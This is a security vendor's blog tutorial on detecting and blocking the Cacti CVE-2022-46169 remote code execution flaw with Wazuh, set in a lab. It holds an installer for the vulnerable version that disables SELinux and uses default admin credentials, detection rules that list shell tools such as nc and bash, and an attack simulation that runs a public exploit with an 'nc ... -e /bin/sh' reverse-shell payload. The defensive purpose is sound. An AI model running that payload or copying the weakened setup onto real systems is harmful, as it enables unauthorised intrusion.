Detecting and blocking Cacti remote code execution vulnerability (CVE-2022-46169) with Wazuh

| by | Wazuh 4.3
Post icon

Cacti is a web-based open source network monitoring and graphing tool that utilizes Round Robin Database Tool (RRDTool) to create an intuitive fault management framework. Cacti provides a holistic visualization of a network infrastructure to administrators. This visualization helps with decision-making on network capacity management.

On December 15, 2022, security researchers discovered a vulnerability in Cacti that affects versions 1.2.22 and below. The CVE-2022-46169 vulnerability allows an unauthenticated user to execute remote code on the server hosting Cacti. The remote_client_authorized function makes this possible. This function is a part of the cacti/remote_agent.php script that checks to ensure a client has the authority to contact the Cacti server.

In this blog post, we demonstrate how to use Wazuh to detect and block an attacker from exploiting this vulnerability.

Infrastructure

To demonstrate Wazuh capabilities for detecting the Cacti remote code execution vulnerability, we set up the following infrastructure:

1. A pre-built ready-to-use Wazuh OVA 4.3.10. Follow this guide to download the virtual machine. In this scenario, it is configured with the IP address 192.168.8.100.

2. A CentOS 7.9 server hosting a vulnerable version (v1.2.22) of Cacti. We Install the vulnerable version of Cacti using the script in the section below. This machine also has a Wazuh agent installed to collect Apache httpd logs. In this scenario, it is configured with the IP address 192.168.8.16.

3. A Kali 2022.1 machine serves as the attacker machine. In this scenario, it is configured with the IP address 192.168.8.17.

Configuration

CentOS endpoint

In this section, we perform the following activities:

  • Installation of a vulnerable version of Cacti.
  • Configure the Wazuh agent to collect Apache httpd logs.
  • Creation of a Wazuh SCA policy to detect the vulnerable versions of Cacti.

1. Create a file cacti_installer.sh in the /tmp directory:

# touch /tmp/cacti_installer.sh

2. Copy and paste the script below into the created file: 

Warning

This script is built only for the purpose of testing this blog post and should not be used in production environments.

#!/bin/bash

##This script will facilitate the installation of Cacti along with all supporting binaries

if
[[ $(id -u) -ne 0 ]] ;
then echo "this script must be run as root" ;
sudo su  ; fi

echo "this script requires git"
yum install -y git

echo "set selinux to disabled"
setenforce 0 
sed -i 's/enforcing/disabled/g' /etc/selinux/config /etc/selinux/config

#Download release 1.2.22
echo  "Downloading Cacti v1.2.22"

version=1.2.22
yum install -y wget unzip
wget https://github.com/Cacti/cacti/archive/release/$version.tar.gz
tar -xvf  $version.tar.gz 
mv cacti-release-$version cacti

echo "Enable Mariadb 10.4 Repo"
wget https://downloads.mariadb.com/MariaDB/mariadb_repo_setup
chmod +x mariadb_repo_setup
./mariadb_repo_setup

echo "Enable EPEL repos"
yum install http://rpms.remirepo.net/enterprise/remi-release-7.rpm -y
yum install yum-utils -y
yum-config-manager --enable remi-php73

echo "Downloading PHP modules needed for Cacti install"

yum install -y rrdtool mariadb-server net-snmp-utils snmpd php php-mysql  php-snmp php-xml php-mbstring php-json php-gd php-gmp php-zip php-ldap php-mc php-posix 

###Start services 

systemctl enable httpd
systemctl enable mariadb
systemctl start mariadb
systemctl start httpd

####Open Port 80 and 443 on firewalld

echo "Open http and https ports on firewalld"
firewall-cmd --zone=public --add-port=80/tcp --permanent
firewall-cmd --zone=public --add-port=443/tcp --permanent
firewall-cmd --reload


##Timezone settings needed for cacti
echo "date.timezone =" US/Central >> /etc/php.ini

location=/var/www/html
mv cacti /var/www/html

#Create cacti user and change permission of directory
user="apache"
echo  "cacti will be run as apache"
chown -R  apache:apache $location/cacti

#assign permissions for cacti installation

chown -R apache:apache $location/cacti/resource/snmp_queries/          
chown -R apache:apache $location/cacti/resource/script_server/
chown -R apache:apache $location/cacti/resource/script_queries/
chown -R apache:apache $location/cacti/scripts/
chown -R apache:apache $location/cacti/cache/boost/
chown -R apache:apache $location/cacti/cache/mibcache/
chown -R apache:apache $location/cacti/cache/realtime/
chown -R apache:apache $location/cacti/cache/spikekill/
touch $location/cacti/log/cacti.log
chmod 664 $location/cacti/log/cacti.log
chown -R apache:apache   $location/cacti/log/
cp $location/cacti/include/config.php.dist $location/cacti/include/config.php
chown -R apache:apache $location/cacti/include/config.php

###Make a backup of maria db config before making changes
cp /etc/my.cnf.d/server.cnf /etc/my.cnf.d/server.cnf.backup

echo "Applying recommended DB settings"
echo "
innodb_file_format = Barracuda
character_set_client = utf8mb4
max_allowed_packet = 16777777
join_buffer_size = 32M
innodb_file_per_table = ON
innodb_large_prefix = 1
innodb_buffer_pool_size = 250M
innodb_flush_log_at_trx_commit = 2
innodb_doublewrite = ON
innodb_flush_log_at_timeout = 3
innodb_read_io_threads = 32
innodb_write_io_threads = 16
innodb_io_capacity = 5000
innodb_io_capacity_max = 10000
" >> /etc/my.cnf.d/server.cnf

systemctl restart mariadb

##Create database 
password="$(openssl rand -base64 32)"

mysql -uroot <<MYSQL_SCRIPT
CREATE DATABASE cacti DEFAULT CHARACTER SET utf8 COLLATE utf8_unicode_ci ;
GRANT ALL PRIVILEGES ON cacti.* TO 'cacti'@'localhost' IDENTIFIED BY '$password'; ;
GRANT SELECT ON mysql.time_zone_name TO cacti@localhost;
USE mysql;
ALTER DATABASE cacti CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
FLUSH PRIVILEGES;
MYSQL_SCRIPT

#pre populate cacti db
mysql -u root  cacti < $location/cacti/cacti.sql
mysql_tzinfo_to_sql /usr/share/zoneinfo | mysql -u root  mysql

sed -i -e 's@^$database_type.*@$database_type = "mysql";@g' /var/www/html/cacti/include/config.php
sed -i -e 's@^$database_default.*@$database_default = "cacti";@g' /var/www/html/cacti/include/config.php
sed -i -e 's@^$database_hostname.*@$database_hostname = "127.0.0.1";@g' /var/www/html/cacti/include/config.php
sed -i -e 's@^$database_username.*@$database_username = 'cacti';@g' /var/www/html/cacti/include/config.php
sed -i -e 's@^$database_password.*@$database_password = "'$password'";@g' /var/www/html/cacti/include/config.php
sed -i -e 's@^$database_port.*@$database_port = "3306";@g' /var/www/html/cacti/include/config.php
sed -i -e 's@^$database_ssl.*@$database_ssl = "false";@g' /var/www/html/cacti/include/config.php
sed -i -e 's@^//$url_path@$url_path@g' /var/www/html/cacti/include/config.php

echo "default database setup with following details"
echo "database name cacti\n
database username cacti\n
database password $password"

###Adding recomended PHP settings 
sed -e 's/max_execution_time = 30/max_execution_time = 60/' -i /etc/php.ini
sed -e 's/memory_limit = 128M/memory_limit = 400M/' -i /etc/php.ini

echo "Restarting Mariadb service"
systemctl restart mariadb

touch /etc/cron.d/$user
echo "*/5 * * * * $user php $location/cacti/poller.php > /dev/null 2>&1" > /etc/cron.d/$user 

echo "refreshing services"
systemctl restart httpd
systemctl restart mariadb

echo "Setup completed. Installing cacti via the CLI"
php $location/cacti/cli/install_cacti.php --accept-eula --install -d

echo "Installation complete, go to http://localhost/cacti and login with admin/admin"

3. Execute the script to install Cacti and all its dependencies:

# bash /tmp/cacti_installer.sh

4. Create a host ID by adding a generic device to Cacti. The description and IP values are random. They depict a machine monitored by Cacti:

# /var/www/html/cacti/cli/add_device.php --description=NewMachine --ip=2.3.4.5

5. Create a directory for the SCA policies:

# mkdir /var/sca_policies

Custom SCA policies inside the Wazuh default ruleset folders are not kept across updates. This is why the directory is created outside the Wazuh agent installation folder.

6. Create an SCA policy file sca_cacti_audit.yml in /var/sca_policies folder and add the below content:

# Wazuh
#
# security configuration assessment
#
# Audit policy to check for vulnerable Cacti installation

policy:
  id: "Cacti_audit"
  file: "sca_cacti_audit.yml"
  name: "System audit for Cacti RCE vulnerability"
  description: "Check to detect if the installed version of Cacti is affected by CVE-2022-46169."
  references:
   - https://nvd.nist.gov/vuln/detail/CVE-2022-46169
   - https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf
   - https://www.sonarsource.com/blog/cacti-unauthenticated-remote-code-execution

requirements:
  title: "Check if Cacti is present on the endpoint"
  description: "Requirements for running the SCA scan against endpoints with Cacti installed."
  condition: any
  rules:
    - 'c:sh -c "ps aux | grep cacti | grep -v grep" -> r:cacti'
    - 'd:/var/www/html/cacti/'


checks:
  - id: 3000
    title: "Cacti: Vulnerable version detected"
    description: "Versions of Cacti less than 1.2.22 are vulnerable to CVE-2022-46169. This endpoint is vulnerable to CVE-2022-46169 Remote Code Execution."
    rationale: "An unauthenticated user can execute remote code on the server hosting Cacti by manipulating the remote_client_authorized function in the cacti/remote_agent.php script"
    remediation: "Upgrade your Cacti installation to a version higher than v1.2.22"
    condition: all
    rules:
      - 'f:/var/www/html/cacti/include/cacti_version -> !n:^(\d+).\d+.\d+ compare <= 1 && !n:^\d+.(\d+).\d+ compare <= 2 && !n:^\d+.\d+.(\d+) compare <= 22'

7. Change the owner and group of the sca_cacti_audit.yml file to wazuh:

# chown wazuh:wazuh /var/sca_policies/sca_cacti_audit.yml

8. Add the configuration below to the Wazuh agent /var/ossec/etc/ossec.conf file to collect Apache httpd access logs and enable the SCA policy:

  <localfile>
    <!-- Logcollector for Apache Access Logs -->    
    <log_format>syslog</log_format>
    <location>/var/log/httpd/access_log</location>
  </localfile>

  <sca>  
    <policies> 
      <policy>/var/sca_policies/sca_cacti_audit.yml</policy>  
    </policies>
  </sca>

9. Restart the Wazuh agent service to apply the configuration changes:

# systemctl restart wazuh-agent

Wazuh server

In this section, we perform the following activities:

  • Creation of custom rules to detect when there is an attempt to exploit the vulnerability.
  • Configure Wazuh active response to block exploitation attempts from an attacker.

1. Add the following rules to the /var/ossec/etc/rules/local_rules.xml file:

<group name="Cacti,Local,Syslog">
  <!-- Rules for detecting Cacti RCE CVE-2022-46169 -->
  <!-- This rule monitors the Apache httpd logs for GET requests made to the vulnerable remote_agent.php file -->
  <rule id="100301" level="0">
    <if_sid>31100</if_sid>
    <url>^/cacti/remote_agent.php?action=polldata</url>
    <description>Possible Cacti RCE Activity</description>
  </rule>

  <!-- This rule checks for common commands associated with an RCE. -->
  <rule id="100302" level="12">
    <if_sid>100301</if_sid>
    <url>bin|sh|cmd|bash|exec|nc|ngrok</url>
    <description>Cacti RCE - CVE-2022-46169 detected from $(srcip).</description>
    <mitre>
      <id>1078</id>
    </mitre>
  </rule>
</group>

2. Edit the /var/ossec/etc/ossec.conf file and add the following command and active response block:

  <command>
    <name>firewalld-drop</name>
    <executable>firewalld-drop</executable>
    <timeout_allowed>yes</timeout_allowed>
  </command>

  <active-response>
    <command>firewalld-drop</command>
    <location>local</location>
    <rules_id>100302</rules_id>
  </active-response>
  • <command>: Specifies the command that would be executed by active response. firewall-drop executes firewall-cmd commands to block IP addresses.
  • <location>: Specifies the location where the command executes. Local means that the command would execute on the reporting monitored endpoint.
  • <rules_id>: Specifies the rule that triggers the active response event. Here, an active response would trigger if the rule with ID 100302 (Cacti RCE - CVE-2022-46169 detected) occurs.

3. Restart the Wazuh manager to apply the changes:

# systemctl restart wazuh-manager

Cacti RCE attack simulation

We use the following PoC exploit to simulate a remote code execution attack against the  vulnerable Cacti server. Perform the following steps on the attacker machine:

1. Set up a Netcat listener to catch a reverse shell that might be created by the exploit, using the command below:

# nc -nvlp 4444
listening on [any] 4444 ...

2. Open a separate terminal to download the PoC exploit:

# git clone https://github.com/sAsPeCt488/CVE-2022-46169.git

3. Run the PoC exploit:

We execute a command to try to create a reverse shell on TCP port 4444 to our attacker endpoint. This exploit launches the vulnerable remote_agent.php file. We then pass any arbitrary command which would be executed by the Cacti server.

# cd CVE-2022-46169
# python3 CVE-2022-46169.py http://<CACTI_IP_ADDRESS>/cacti -c 'nc <KALI_IP_ADDRESS> 4444 -e /bin/sh'

Note

Replace <CACTI_IP_ADDRESS> and <KALI_IP_ADDRESS> with the IP address for your Cacti server and Kali endpoint.

[*] Trying for 1 - 100 host ids

After a few seconds, the listener we have set up might be presented with a reverse shell from the vulnerable Cacti server:

connect to [192.168.8.17] from (UNKNOWN) [192.168.8.16] 33418

4. Ping the Cacti server to confirm the Wazuh active response module blocked the attacker endpoint after it spawned the shell:

# ping -c 2 192.168.8.16
PING 192.168.8.16 (192.168.8.16) 56(84) bytes of data.

--- 192.168.8.16 ping statistics ---
2 packets transmitted, 0 received, 100% packet loss, time 1100ms

Visualizing the alerts on the Wazuh dashboard

SCA scan result

From the SCA dashboard, navigate to agents > <AGENT ID> to view the SCA scan result:

cacti
Figure 1: SCA scan result on Wazuh dashboard

Security events

On the Wazuh dashboard, navigate to Modules > Security events to visualize the alerts associated with our Cacti remote code execution (CVE-2022-46169) detection rule.

cacti server
Figure 2: Wazuh dashboard showing detection of CVE-2022-46169
cacti server monitoring
Figure 3: Wazuh dashboard showing CVE-2022-46169 attack blocked

Conclusion

In this blog post, we demonstrated how to detect the Cacti CVE-2022-46169 vulnerability and block exploitation attempts. We detected an installation of a vulnerable version of Cacti using the Wazuh SCA module. We also detected and blocked exploitation attempts using a combination of custom rules and the active response module.

To remediate the vulnerability, administrators are advised to update Cacti to a version higher than 1.2.22.

Wazuh is a free and open source SIEM and XDR solution. Wazuh is deployed and managed on-premises, or on our Wazuh cloud. Check our community for support and updates.

References